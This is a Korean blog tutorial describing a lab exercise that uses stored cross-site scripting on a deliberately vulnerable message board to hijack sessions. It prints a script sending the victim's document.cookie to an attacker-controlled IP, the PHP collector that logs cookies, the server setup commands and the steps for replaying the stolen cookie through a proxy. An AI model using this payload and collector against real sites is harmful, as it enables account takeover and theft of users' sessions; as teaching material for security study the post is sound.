Saturday, August 3, 2013

Cross Site Scripting 을 통한 Session Hijacking 공격.

 본 블로그는 지식 습득후 저장을 하는 공간입니다.
블로그 내의 게시글을 인터넷에서 악의적으로 사용할 경우 본인에게 책임이 있습니다.

 OWASP-Top10(2013) 의 A3 에 위치한 XSS (Cross Site Scripting) 을 통해 Session Hijacking 
 하는 법에 대해 알아 보겠습니다.


<준비>

우선 Backtrack(attacker) 과 Win XP(victim) 를 VM에 올려야 하고, 실습을 위한 Webserver 가 필요합니다.
Webserver 는 Win2000 에 올려놓고 하겠습니다.
물론 Win2000에 올라가 있는 Webserver 는 XSS 공격에 취약한 site 여야합니다.
Website 구축시 PHP를 많이 이용하는데 PHP 같은 경우 설정화일에서 Magic Quote GPC 가 Off 되어 있으면
XSS 공격에 취약해집니다. 다른 Script 언어를 사용하게 될 경우 확인하시고 수정해주세요.

<공격 시나리오>

시나리오는 이렇습니다. 
공격자인 Backtrack 에서 Website 를 돌아다니다 XSS 에 취약한 사이트를 발견하고 공격시도에 들어갑니다.
이때 사용되는 Script 는  <script>alert("test");</script> 

<실습>

게시판에서 스크립트를 등록하고 게시글을 읽었을때 test 라는 메시지창이 출력이 되면 XSS 공격에 
취약한 것입니다.























게시글을 등록하고 게시글에 접근한 결과 test 라는 메시지창이 뜬것으로 봐서 XSS 공격에 취약한 
사이트 인것으로 보입니다.

이제 공격자가 게시한 글에 접근하는 유저의 세션을 탈취하기 위한 게시글을 만들어 봅시다.
Script 는 다음과 같습니다.

<img name="i"></img>
<script>i.src="http://192.168.37.130/xss.php?cookie="+document.cookie</script> 

위 스크립트는 임의로 img tag를 넣어서 image의 source를 다운로드 받게끔 해놓은것 처럼
위장한 악성 스크립트입니다. src 를 받는 곳은 실제 image가 있는곳이 아닌 backtrack(공격자) 의
IP로 접근하여 victim 자신의 cookie 값을 backtrack 으로 넘겨주고 있는 script 입니다.
























위와 같이 게시판에 악성 script 를 작성합니다.
이제 Backtrack 으로 돌아와서 victim 이 넘겨줄 cookie 값을 받아주기 위해 해야할 작업이 있습니다.

위에서 작성한 악성 script에서 ip뒷부분 xss.php를 만들어 주어야 합니다.
IP에 해당하는 부분이 Backtrack에선 /var/www 에 해당합니다. 따라서
/var/www/xss.php 화일을 생성하고 chmod 777 ./xss.php로 실행권한까지 잊지 말고 주세요.

xss.php 화일의 내용은 다음과 같습니다.
=================================================================================
<?php
     $fd = fopen("/tmp/cookie.dat","a+") or die("can't open file");
     fputs($fd, $_SERVER['REMOTE_ADDR']. "Cookie is". $_GET["cookie"] . "\n");
     fclose($fd);
?>
=================================================================================

xss.php 화일을 만들었다면 /tmp 디렉토리 아래에 cookie.dat 라는 빈파일을 만들어 줍시다.
실제 쿠키가 들어와 저장이 될 화일입니다.
/tmp 디렉토리로 이동하여 touch cookie.dat  로 빈화일을 만들어주시되 역시 chmod 777 ./cookie.dat 
로 접근 가능하도록 해줘야 합니다.


























그런다음 Backtrack 에서 apache 를 실행합니다.
service apache2 start 하면 apache가 실행됩니다.
그런다음 cookie 가 들어오면 바로바로 알 수 있도록 cookie.dat 화일을 모니터링합니다.
tail -F /tmp/cookie.dat 

다 되었습니다. 이제 victim이 게시글을 읽기만 기다리면 됩니다.
victim이 게시글을 읽게되면 victim 의 cookie 값이 Backtrack 의 cookie.dat 에
자동으로 쌓이게 됩니다.

victim 이 클릭을 하게되면 아래와 같이 cookie가 자동으로 쌓입니다.
cookie 값은 ASPSESSIONIDQADQSTRT=AHAOLAJAEFNNBIAFMHDMKLKO 입니다.
























이제 탈취한 Cookie를 이용하여 victim의 ID와 Password 없이 로그인을 해봅시다.
Cookie 변조에 사용할 프로그램은 Paros입니다.
Paros는 Proxy 처럼 동작합니다. Web Proxy라고 생각하면 이해하기 쉽습니다.
I.E 에서 Proxy 설정을 해줍니다. (도구 > 인터넷옵션 > 연결 > Lan설정)
주소는 localhost 또는 127.0.0.1  paros 의 proxy 는 8080 port 를 사용함. 8080 으로 port 설정.





























Paros 를 실행하고 request 를 Trap 한 상태로 사이트로 재접속 합니다.
그러면 아래와 같이 공격자의 Cookie로 request 를 보내는것을 알 수 있습니다.
여기서 획득한 Cookie로 변경을 하면 victim 의 권한으로 로그인이 되는걸 볼 수 있습니다.





























일반적으로 PC room 에서 web surfing 을 하게되면 자신의 Cookie 값이 저장이 됩니다.
타인이 그 쿠키값을 획득하게 되면 문제가 될 수 있습니다. 
공공장소에선 항상 자신의 쿠키값을 지운후 자리를 비우도록 하고, 개인 p/c 가 이닌이상
portal site 자동 로그인 기능은 사용하지 않는것이 좋습니다.






No comments:

Post a Comment